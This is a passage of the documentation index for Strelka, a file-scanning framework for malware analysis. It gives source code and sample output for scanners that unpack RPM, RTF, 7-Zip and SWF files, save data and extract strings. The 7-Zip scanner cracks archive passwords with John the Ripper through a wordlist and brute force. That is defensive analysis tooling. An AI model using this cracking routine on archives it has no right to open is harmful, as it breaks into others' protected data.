self.event[\"build_host\"] = value\n elif key == \"buildtime\":\n self.event[\"build_time\"] = value\n elif key == \"copyright\":\n self.event[\"copyright\"] = value\n elif key == \"description\":\n if value is not None:\n self.event[\"description\"] = value.replace(b\"\\n\", b\" \")\n elif key == \"filenames\":\n self.event[\"filenames\"] = value\n elif key == \"group\":\n self.event[\"group\"] = value\n elif key == \"name\":\n self.event[\"name\"] = value\n extract_name = f\"{value.decode()}\"\n elif key == \"os\":\n self.event[\"os\"] = value\n elif key == \"packager\":\n self.event[\"packager\"] = value\n elif key == \"provides\":\n self.event[\"provides\"] = value\n elif key == \"release\":\n self.event[\"release\"] = value\n elif key == \"requirename\":\n self.event[\"require_name\"] = value\n elif key == \"rpmversion\":\n self.event[\"rpm_version\"] = value\n elif key == \"serial\":\n self.event[\"serial\"] = value\n elif key == \"sourcerpm\":\n self.event[\"source_rpm\"] = value\n elif key == \"summary\":\n self.event[\"summary\"] = value\n elif key == \"vendor\":\n self.event[\"vendor\"] = value\n elif key == \"version\":\n self.event[\"version\"] = value\n elif key == \"url\":\n self.event[\"url\"] = value\n\n # Send extracted file back to Strelka\n self.emit_file(\n data[rpm_obj.data_offset :], name=extract_name\n ) # FIXME: extract_name always empty string\n\n except ValueError:\n self.flags.append(\"value_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanRpm.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-rpm rpm_file"},{"location":"Scanners/ScanRpm.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanRpm.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner rpm
"},{"location":"Scanners/ScanRtf.html","title":"ScanRtf","text":"Extracts files from RTF files.
Optionslimit: Maximum number of files to extract. Defaults to 1000.
Source code instrelka/src/python/strelka/scanners/scan_rtf.py class ScanRtf(strelka.Scanner):\n \"\"\"Extracts files from RTF files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n\n self.event[\"total\"] = {\"rtf_objects\": 0, \"extracted\": 0}\n\n rtf = rtfobj.RtfObjParser(data)\n rtf.parse()\n self.event[\"total\"][\"rtf_objects\"] = len(rtf.rtf_objects)\n\n for rtf_object in rtf.rtf_objects:\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n break\n\n index = rtf.server.index(rtf_object)\n\n if rtf_object.is_package:\n # Send extracted file back to Strelka\n self.emit_file(rtf_object.olepkgdata, name=rtf_object.filename)\n\n elif rtf_object.is_ole:\n # Send extracted file back to Strelka\n self.emit_file(rtf_object.oledata, name=f\"rtf_object_{index}\")\n\n else:\n # Send extracted file back to Strelka\n self.emit_file(rtf_object.rawdata, name=f\"rtf_object_{index}\")\n\n self.event[\"total\"][\"extracted\"] += 1\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanRtf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludertf_file text/rtf"},{"location":"Scanners/ScanRtf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanRtf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner rtf
"},{"location":"Scanners/ScanSave.html","title":"ScanSave","text":"Compress and encode raw file data
Source code instrelka/src/python/strelka/scanners/scan_save.py class ScanSave(strelka.Scanner):\n \"\"\"Compress and encode raw file data\"\"\"\n\n def init(self):\n # Compression algorithm choices\n self.compress_data = {\n \"gzip\": gzip.compress,\n \"bzip2\": bz2.compress,\n \"lzma\": lzma.compress,\n }\n # JSON compatible encoding choices\n self.encode_data = {\n \"base64\": base64.b64encode,\n \"base85\": base64.b85encode,\n }\n\n def scan(self, data, file, options, expire_at):\n # Inputs\n encoding = options.get(\"encoding\", \"base64\")\n compression = options.get(\"compression\", \"gzip\")\n\n # Compress the data\n if compression != \"none\":\n # Verify the compression algorithm is available\n if compression not in self.compress_data:\n self.flags.append(\"save_compression_value_error\")\n return\n\n try:\n data = self.compress_data[compression](data)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"save_compression_error\")\n return\n self.event[\"compression\"] = compression\n\n # Verify the encoding algorithm is available\n if encoding not in self.encode_data:\n self.flag.append(\"save_encoding_value_error\")\n return\n self.event[\"encoding\"] = encoding\n\n # Encode the data for JSON compatibility\n try:\n out_data = self.encode_data[encoding](data)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"save_encoding_error\")\n return\n self.event[\"file\"] = out_data\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanSave.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanSave.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecompression str elapsed str encoding str file str flags list"},{"location":"Scanners/ScanSave.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"file\": file_contents,\n \"compression\": compression,\n \"encoding\": encoding,\n \"flags\": [],\n }\nExtracts files from 7zip archives
Source code instrelka/src/python/strelka/scanners/scan_seven_zip.py class ScanSevenZip(strelka.Scanner):\n \"\"\"Extracts files from 7zip archives\"\"\"\n\n EXCLUDED_ROOT_DIRS: list[str] = []\n\n def scan(self, data: bytes, file: strelka.File, options: dict, expire_at) -> None:\n file_limit = options.get(\"limit\", 100)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n password_file = options.get(\"password_file\", \"/etc/strelka/passwords.dat\")\n log_extracted_pws = options.get(\"log_pws\", False)\n brute = options.get(\"brute_force\", False)\n min_length = options.get(\"min_length\", 1)\n max_length = options.get(\"max_length\", 5)\n crack_pws = options.get(\"crack_pws\", True)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n extracted_pw = \"\"\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"7zip_tmp_error\")\n return\n\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n\n if crack_pws and self.parse_7zip_password(stdout.decode(\"utf-8\")):\n sevenzip2john = password_cracking.sevenzip2john(data, tmp_directory)\n if not sevenzip2john:\n self.flags.append(\"7z2john_output_empty\")\n return\n\n extracted_pw = password_cracking.crack_john(\n self,\n \"/jtr/\",\n tmp_directory,\n hashes=sevenzip2john,\n password_file=password_file,\n min_length=min_length,\n max_length=max_length,\n scanner_timeout=scanner_timeout,\n brute=brute,\n )\n\n if not extracted_pw:\n self.flags.append(\"Could not extract password\")\n return\n\n if log_extracted_pws:\n self.event[\"cracked_password\"] = extracted_pw\n\n if extracted_pw:\n self.extract_7zip(\n data,\n tmp_directory,\n scanner_timeout,\n expire_at,\n file_limit,\n password=extracted_pw.decode(\"utf-8\"),\n )\n else:\n self.extract_7zip(\n data, tmp_directory, scanner_timeout, expire_at, file_limit\n )\n\n def extract_7zip(\n self, data, tmp_dir, scanner_timeout, expire_at, file_limit, password=\"\"\n ):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"7zip_tmp_error\")\n return\n\n with tempfile.TemporaryDirectory() as tmp_extract:\n if password:\n (stdout, stderr) = subprocess.Popen(\n [\n \"7zz\",\n \"x\",\n tmp_data.name,\n f\"-o{tmp_extract}\",\n f\"-p{password}\",\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n else:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"file_limit_error\")\n break\n\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n\n if password:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name, f\"-p{password}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n else:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n\n def parse_7zip_password(self, output_7zip):\n # Method = LZMA2:14 7zAES\n regex_method = re.compile(\n r\"Method = (?P<compression>[^ ]+) ?(?P<encryption>.*)\"\n )\n\n # Enter password (will not be echoed):\n regex_pompt = re.compile(r\"(?P<prompt>Enter password)\")\n\n output_lines = output_7zip.splitlines()\n\n for output_line in output_lines:\n # Method property\n match = regex_method.match(output_line)\n if match and match.group(\"encryption\"):\n return True\n\n # Password prompt\n match = regex_pompt.match(output_line)\n if match:\n return True\n\n return False\n\n def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n # regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?:(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s*)?(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"files\":\n match = regex_file.search(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(os.path.sep)[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n file_info = {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n }\n if match.group(\"datetime\") is not None:\n file_info[\"datetime\"] = match.group(\"datetime\")\n self.event[\"files\"].append(file_info)\nextract_7zip(data, tmp_dir, scanner_timeout, expire_at, file_limit, password='')","text":"Decompress input file to /tmp with 7zz, send files to coordinator
Source code instrelka/src/python/strelka/scanners/scan_seven_zip.py def extract_7zip(\n self, data, tmp_dir, scanner_timeout, expire_at, file_limit, password=\"\"\n):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"7zip_tmp_error\")\n return\n\n with tempfile.TemporaryDirectory() as tmp_extract:\n if password:\n (stdout, stderr) = subprocess.Popen(\n [\n \"7zz\",\n \"x\",\n tmp_data.name,\n f\"-o{tmp_extract}\",\n f\"-p{password}\",\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n else:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"file_limit_error\")\n break\n\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n\n if password:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name, f\"-p{password}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n else:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\nparse_7zip_stdout(output_7zip, file_limit)","text":"Parse 7zz output, create metadata
Source code instrelka/src/python/strelka/scanners/scan_seven_zip.py def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n # regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?:(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s*)?(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"files\":\n match = regex_file.search(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(os.path.sep)[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n file_info = {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n }\n if match.group(\"datetime\") is not None:\n file_info[\"datetime\"] = match.group(\"datetime\")\n self.event[\"files\"].append(file_info)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanSevenZip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude_7zip_file application/vnd.ms-msi application/x-7z-compressed application/x-msi image/vnd.fpx"},{"location":"Scanners/ScanSevenZip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecracked_password bytes elapsed str files list files.datetime str files.filename str files.size str flags list hidden_dirs list meta dict meta.7zip_version str performance dict performance.elapsed_seconds_wall str performance.hashes_per_second str performance.keyspace dict performance.keyspace.max_length int performance.keyspace.min_length int total dict total.extracted int total.files int"},{"location":"Scanners/ScanSevenZip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 4, \"extracted\": 4},\n \"files\": [\n {\n \"filename\": \"hidden/lorem-hidden.txt\",\n \"size\": \"4015\",\n \"datetime\": \"2022-12-12 03:12:55\",\n },\n {\n \"filename\": \"hidden/lorem-readonly.txt\",\n \"size\": \"4015\",\n \"datetime\": \"2022-12-12 03:12:55\",\n },\n {\n \"filename\": \"hidden/lorem.txt\",\n \"size\": \"4015\",\n \"datetime\": \"2022-12-12 03:12:55\",\n },\n {\n \"filename\": \"lorem.txt\",\n \"size\": \"4015\",\n \"datetime\": \"2022-12-12 03:12:55\",\n },\n ],\n \"hidden_dirs\": [\"hidden\"],\n \"meta\": {\"7zip_version\": \"23.01\"},\n }\nCollects strings from files.
Collects strings from files (similar to the output of the Unix 'strings' utility).
Optionslimit: Maximum number of strings to collect, starting from the beginning of the file. If this value is 0, then all strings are collected. Defaults to 0 (unlimited).
Source code instrelka/src/python/strelka/scanners/scan_strings.py class ScanStrings(strelka.Scanner):\n \"\"\"Collects strings from files.\n\n Collects strings from files (similar to the output of the Unix 'strings'\n utility).\n\n Options:\n limit: Maximum number of strings to collect, starting from the\n beginning of the file. If this value is 0, then all strings are\n collected.\n Defaults to 0 (unlimited).\n \"\"\"\n\n def init(self):\n self.strings_regex = re.compile(rb\"[^\\x00-\\x1F\\x7F-\\xFF]{4,}\")\n\n def scan(self, data, file, options, expire_at):\n limit = options.get(\"limit\", 0)\n\n strings = self.strings_regex.findall(data)\n if limit:\n strings = strings[:limit]\n self.event[\"strings\"] = strings\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanStrings.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanStrings.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list strings list"},{"location":"Scanners/ScanStrings.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"strings\": [\n b\"!This program cannot be run in DOS mode.\",\n b\".text\",\n b\"`.rsrc\",\n b\"*BSJB\",\n b\"v4.0.30319\",\n b\"#Strings\",\n b\"#GUID\",\n b\"#Blob\",\n b\"<Module>\",\n b\"mscorlib\",\n b\"HelloWorld\",\n b\"Console\",\n b\"WriteLine\",\n b\"GuidAttribute\",\n b\"DebuggableAttribute\",\n b\"ComVisibleAttribute\",\n b\"AssemblyTitleAttribute\",\n b\"AssemblyTrademarkAttribute\",\n b\"TargetFrameworkAttribute\",\n b\"AssemblyFileVersionAttribute\",\n b\"AssemblyConfigurationAttribute\",\n b\"AssemblyDescriptionAttribute\",\n b\"CompilationRelaxationsAttribute\",\n b\"AssemblyProductAttribute\",\n b\"AssemblyCopyrightAttribute\",\n b\"AssemblyCompanyAttribute\",\n b\"RuntimeCompatibilityAttribute\",\n b\"HelloWorld.exe\",\n b\"System.Runtime.Versioning\",\n b\"Program\",\n b\"System\",\n b\"Main\",\n b\"System.Reflection\",\n b\".ctor\",\n b\"System.Diagnostics\",\n b\"System.Runtime.InteropServices\",\n b\"System.Runtime.CompilerServices\",\n b\"DebuggingModes\",\n b\"args\",\n b\"Object\",\n b\"WrapNonExceptionThrows\",\n b\"HelloWorld\",\n b\"Copyright \",\n b\" . 2020\",\n b\"$c66634a4-f119-4236-b8d2-a085d40e57c7\",\n b\"1.0.0.0\",\n b\".NETFramework,Version=v4.0\",\n b\"FrameworkDisplayName\",\n b\".NET Framework 4\",\n b\"RSDS\",\n b\"C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\",\n b'<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>',\n b'<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">',\n b' <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>',\n b' <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">',\n b\" <security>\",\n b' <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">',\n b' <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>',\n b\" </requestedPrivileges>\",\n b\" </security>\",\n b\" </trustInfo>\",\n b\"</assembly>\",\n ],\n }\nDecompresses SWF files.
Source code instrelka/src/python/strelka/scanners/scan_swf.py class ScanSwf(strelka.Scanner):\n \"\"\"Decompresses SWF files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n with io.BytesIO(data) as swf_io:\n swf_io.seek(4)\n swf_size = struct.unpack(\"<i\", swf_io.read(4))[0]\n swf_io.seek(0)\n magic = swf_io.read(3)\n extract_data = b\"FWS\" + swf_io.read(5)\n\n if magic == b\"CWS\":\n self.event[\"type\"] = \"CWS\"\n try:\n extract_data += zlib.decompress(swf_io.read())[: swf_size - 8]\n\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\n\n except zlib.error:\n self.flags.append(\"zlib_error\")\n\n elif magic == b\"ZWS\":\n self.event[\"type\"] = \"ZWS\"\n swf_io.seek(12)\n extract_data += pylzma.decompress(swf_io.read())[: swf_size - 8]\n\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\n\n elif magic == b\"FWS\":\n self.event[\"type\"] = \"FWS\"\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanSwf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
